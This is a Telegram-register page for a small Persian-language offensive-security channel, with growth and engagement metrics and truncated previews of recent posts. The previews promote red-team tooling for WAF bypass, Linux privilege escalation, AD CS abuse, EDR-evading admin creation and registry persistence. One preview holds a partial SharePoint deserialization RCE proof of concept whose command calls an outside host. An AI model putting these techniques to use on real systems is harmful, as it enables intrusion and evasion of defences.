یه تارگت بود داشتم تست میکردم و نیاز به بایپس waf داشت و این یکی akamai بود اگر خواستید برای xss بایپس کنید همچین وف هایی رو باید دنبال راههای alternative باشید تو این نوشن یه روش استفاده از dom clobbering رو براتون گفتم و یک اسکریپت هم توش هست برای پیدا کردن alternative برای کلمه window و document داشته باشید به درد میخوره https://cherry-event-b75.notion.site/DOM-Clobbering-WAF-Bypass-3af4f6d7dcce80fe919dcc27223a…

Channel
Security Internals
@Secur1tyInternals
On this record: Growth · Engagement · Reactions · Posts · Citations · Cite this entry
81subscribers
+2 since we began measuring on 7 August 2026
Risers and fallers across the register · movement among entries of Under 1,000.
Register entry
| Telegram ID | -1004378725229 |
|---|---|
| Type | Channel |
| Username | @Secur1tyInternals |
| Created | Between 1 June 2026 and 15 July 2026— estimated from Telegram’s id allocation, not measured. How this range is calculated. |
| First recorded | 9 August 2026 |
| Last confirmed live | 14 August 2026 |
| Measurements held | 3 |
| Confirmed unchanged | 1 time, most recently 14 August 2026 |
| On Telegram | t.me/Secur1tyInternals |
Growth
| Measured (UTC) | Subscribers | Change |
|---|---|---|
| 14 Aug 2026, 13:45 | 81 | +2 |
| 9 Aug 2026, 19:31 | 79 | no change |
| 7 Aug 2026, 16:46 | 79 | first reading |
Engagement
20 posts held, back to 15 July 2026 — the reader has not yet reached the start of this channel’s public history, so older posts may sit further back, unread. Read across 1 pageof Telegram’s post history, 20 posts per page.
- ERR · 30 days
- 330.4%
- avg views ÷ 81 subscribers
- Avg views / post
- 268
- 18 posts measured
- Reaction rate
- 1.26%
- reactions ÷ views · ER floor
- Posts in window
- 19
- of 20 held
ERR is average views per post over the last 30 days divided by subscribers, the definition TGStat uses, so this figure is comparable with the one you will see elsewhere. It falls structurally as a channel grows: a high ERR on a small channel and a low one on a large channel describe reach mathematics, not quality. We publish the figure and the sample it came from and pass no verdict on it.
ER is defined industry-wide as (forwards + reactions + comments) ÷ views— note the denominator is views, not subscribers. Telegram’s public web preview carries views and reactions but not forward or comment counts, so the reaction rate above is the reactions term only and is therefore a floor: the true ER for this channel is higher by an amount we have not measured and will not estimate. It is computed over the 3 of 18 measured posts that carry a reaction reading, and over those same posts' views.
| Window | Rolling 30 days · latest post in window 1 August 2026 |
|---|---|
| Posts held | 20 (15 July 2026 – 1 August 2026) |
| Views total | 4,817 |
| Reactions total | 3 |
| Forwards / comments | not exposed by the public surface — not measured, not estimated |
| Readings taken | 9 Aug 2026, 19:31 UTC |
Views are a single reading per post, taken at the time above. A post published in the last day or two is still accumulating views, which pulls the 30-day average down slightly. That is a property of the standard definition rather than a fault in it, so we keep the definition rather than “correcting” the number into something nobody can reproduce.
Precision. Telegram publishes view counts on its public widget in short form — 8.12K, 3.7M — so any reading at or above 1,000 reaches us rounded to three significant figures, and only counts below 1,000 are exact. Averages and rates derived from them are shown to the same precision rather than to the unit: a figure like 3,701,250 would assert digits nobody measured.
Reaction counts are published per emoji and rounded the same way, so a total below 1,000 is exact and a larger one is a sum that may carry a rounded component from each emoji above 1,000. Because it is a sum, it does not look rounded — read a large reaction total as three significant figures per contributing emoji rather than as the figure it prints.
Reaction mix
3 reactions across 3 posts, in 2 distinct kinds. The most used accounts for 66.7% of them.
| Reaction | Count | Share | Share, drawn |
|---|---|---|---|
| 👍 | 2 | 66.7% | |
| ❤ | 1 | 33.3% |
No sentiment is inferred, and none should be read in. This table is ordered by count and by nothing else. Emoji do not carry stable meaning across languages or communities — 🙏 is thanks in one channel and mourning in another — so we publish which ones were pressed and how often, and pass no judgement on what an audience meant by them.
Precision. Telegram publishes reaction counts per emoji and short-forms each one — 4.34K, 1.2M — so any single kind at or above 1,000 reaches us at three significant figures, and only counts below 1,000 are exact. The shares above are ratios of those figures and carry the same error. This is also why the total here can differ slightly from a reaction total printed elsewhere on the page: both are sums of the same rounded parts, taken over samples with different edges.
Coverage. Reactions were read on 3 of the 20 sampled posts in this sample. Summed by Telegram’s own count on each post — not by adding up the per-emoji breakdown above — those same posts carry 3reactions in total: the kind of figure the paragraph above means by “a reaction total printed elsewhere on the page”.
Measured over the 20 most recent posts we hold, published 15 July 2026 to 1 August 2026, using the newest reading held for each. Telegram Stars are excluded: they are a payment, not a reaction, and they have their own section.
Recent posts
این ابزار چیز جالبیه تمامی مسیرها برای رسیدن به root تو لینوکس رو چک میکنه(روشهای gtfobin) و یک سری misconfig و چیزای دیگه و مثل bloodhound یه اینترفیس گرافیکی هم میده جالب بود در کل برام https://github.com/Noz2/RootHound
آسیبپذیریها و حملات مرتبط با AD CS (Active Directory Certificate Services) این آسیبپذیریها برای افزایش سطح دسترسی در شبکه به دو دسته کلی تقسیم میشوند: پیکربندیهای اشتباه و باگهای نرمافزاری. بخش اول: پیکربندیهای اشتباه (خانواده ESC) آسیبپذیری ESC1 قالب گواهی به کاربران عادی اجازه میدهد درخواستی ثبت کنند و در آن، نام یک کاربر دیگر (مثلاً ادمین دامنه) را به عنوان نام جایگزین وارد کنند. سرور بدون بررسی، گواه…
جایی هست دسترسی دارید به host جایی که virtual شده مثل hyper-v ، esxi , vmware , virtualbox یا اسنپ شاتهاشون توی اون سرور مجازی ساز شبکه های فرضا ویندوزی کانفیگ شده . قاعدتا برای اینکه اطلاعات اونارو بتونید بدست بیارید یا بهشون دسترسی پیدا کنین چند تا راه داره یکیش از طریق فرآیند های پیچیده و زمان بر و پر ریسک هست دیگه از طریق فرآیند تبدیل حافظه که توی esxi انجام میشه و نیازبه نوشتن درایور و عملیات پیچیده تر دارید ر…
Posted without readable text
یه بنده خدا ios 26 رو jailbreak کرده و دم دست گذاشته برای استفاده https://github.com/34306/vphone-aio
کاربرد پروتکل SAMR در عملیات Red Team یک. ابزار AddUser-SAMR و مزیت آن عملکرد: ساخت ادمین محلی با فراخوانی مستقیم توابع سطح پایین SAMR بر بستر RPC و پورتهای ۴۴۵/۱۳۵. مزیت امنیتی: دور زدن مانیتورینگ خط فرمان (مانند دستورات net user و PowerShell) و عدم ایجاد لاگ در CMD جهت عبور از سد EDRها و آنتیویروسها. https://github.com/ricardojoserf/AddUser-SAMR دو. ابزارهای مشابه و جایگزین ماژول adduserbysamr-bof: پیادهسازی …
یکی از روشایی که ابزار های PostExploit تو شبکه ویندوزی ارتباط برقرار میکنن با pipe و سختی کار دیدن ترافیکا بین pipe server و pipe client این ابزار gui هست و با c++ نوشتنش که میتونید کپچر کنید ترافیکو آنالیز کنید و ازش ایده بگیرید https://github.com/sensepost/pipetap توضیح named pipe: نحوه کارکرد و معماری (Client / Server) ارتباط در Named Pipeها بر اساس مدل کلاینت-سرور کار میکند و میتواند یکطرفه (فقط خواندن یا …
❤1
این کد poc مربوط به rce جدید sharepoint که deserial هست $n=[Guid]::NewGuid().ToString('N');$cb="http://remote/spse-cookie-rce-$n";$tmp="$env:TEMP\$n.bin";$cmd="powershell.exe -NoProfile -NonInteractive -Command Invoke-WebRequest -UseBasicParsing '$cb'";& 'ysoserial.exe' -g TypeConfuseDelegate -f BinaryFormatter -o raw -c $cmd --outputpath $tmp|Out-Null;Add-Type -AssemblyName System.IdentityModel;$raw=[IO.File]::Read…
ابزار متنباز Swarmer یکی از تکنیکهای جالب برای Red Team و تستهای نفوذ است که امکان تزریق کلیدهای رجیستری (مثلاً برای اجرای دائم بدافزار در Startup) را بدون نیاز به دسترسی ادمین و بدون شناسایی شدن توسط EDR و آنتیویروسها فراهم میکند. https://github.com/praetorian-inc/swarmer ۱. سازوکار فنی: Swarmer چگونه کار میکند؟ این ابزار از سوءاستفاده هوشمندانه از دو مکانیزم داخلی ویندوز بهره میبرد: پروفایلهای اجباری (Ma…
با این ابزار میتونید اطلاعات شبکه رو با پورت 9389 که مربوط به ADWS (Active Directory Web Services). هست دامپ کنید و برای Bloodhound هم اکسپورت میگیره این پورت باید روی AD بالا و در دسترس باشه و مقداری نسبت به پروتکل ldap به نظر evasive میاد https://github.com/mverschu/adwsdomaindump
اینو که دارین https://portswigger.net/web-security/cross-site-scripting/cheat-sheet توش پره پیلود های xss اینم داشته باشین توش پره پیلود برای بایپس url validation check کاربرد توی oauth ، ssrf وهرچیز مشابه : https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet
Showing the 12 most recent of 20 posts we hold for @Secur1tyInternals. View and reaction counts are the latest single reading for each post, not a live figure, and a recent post is still accumulating both. A view count marked ≈ was rounded by Telegram before we ever saw it — t.me prints views in full below 1,000 and to three significant figures above, so ≈1,200,000 means somewhere between 1,150,000 and 1,249,999. Unmarked counts are exact. Text is reproduced from the public post preview and truncated for length.
Citation-graph rank
Citation-graph rank — 891,159 of 1,350,102entries in the measured graph. A weighted position computed from the forward and mention edges below — republished posts weigh more than named mentions — and recomputed periodically, over the whole graph. Published only as this ordinal position, never as a score: a position is a fact, and a score printed beside one channel’s name would read as a verdict this register does not make. The two counts beneath stay separate for the same reason mentions are never summed with forwards anywhere else on this page — a named-by count costs nothing to manufacture. The top 100 by this measure, or how it is computed.
Forward network
Republished by
Channels on the register that have forwarded this channel's posts into their own feed.
Built only from forwarded posts we have actually read, on both sides. Coverage is early and deliberately incomplete: a missing link means we have not read the post that would prove it, never that the relationship does not exist. Counts are distinct forwarded posts observed, so they only ever go up as we read more.
Cite this entry
A live page changes as we take new readings, so a citation should name the measurement it is based on, not just the URL. The line below cites the subscriber count as measured 14 August 2026 — this entry's latest reading, not the date you are reading this.
“Security Internals” (@Secur1tyInternals), 81 subscribers as measured 14 August 2026. Telegram Register, tgregister.com/channel/Secur1tyInternals.
Full measurement history, CC BY 4.0. Every reading this register holds for this entry, not just the latest one, as a dated, downloadable record: CSV · JSON. Free to use with attribution to tgregister.com. Each file carries its own generation timestamp, which is the figure to cite for exactly when the data was retrieved.